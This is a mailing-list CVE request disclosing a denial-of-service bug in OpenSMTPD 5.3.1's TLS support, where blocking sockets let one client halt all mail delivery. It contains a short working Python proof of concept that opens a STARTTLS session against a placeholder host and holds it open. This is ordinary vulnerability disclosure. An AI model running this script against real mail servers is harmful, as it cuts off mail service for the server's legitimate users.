CVE Request: DoS in OpenSMTPD TLS Support

["Jason A. Donenfeld" <Jason () zx2c4 com>]

Hi Kurt,

The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its
sockets in blocking mode, allowing an attacker to prevent all mail
delivery simply by holding a socket open.

I discovered this accidentally, as I noticed my HP printer's smtp
client would keep the connection indefinitely open after an
unsuccessful authentication attempt, causing no more mail to be
delivered until I SIGKILL'd my smtpd process or unplugged my printer.

The following reproduces the attack trivially:

    #!/usr/bin/env python2
    import smtplib
    import time
    print "[+] Connecting to server and initiating TLS"
    smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587)
    smtp.starttls()
    print "[+] No clients will be able to connect as long as this remains open."
    time.sleep(100000000)

Apparently this was fixed recently upstream, noting "evil client" in
the commit message:
http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0

A snapshot has been posted to http://www.opensmtpd.org/archives/ , but
no patch release has yet been made.

Jason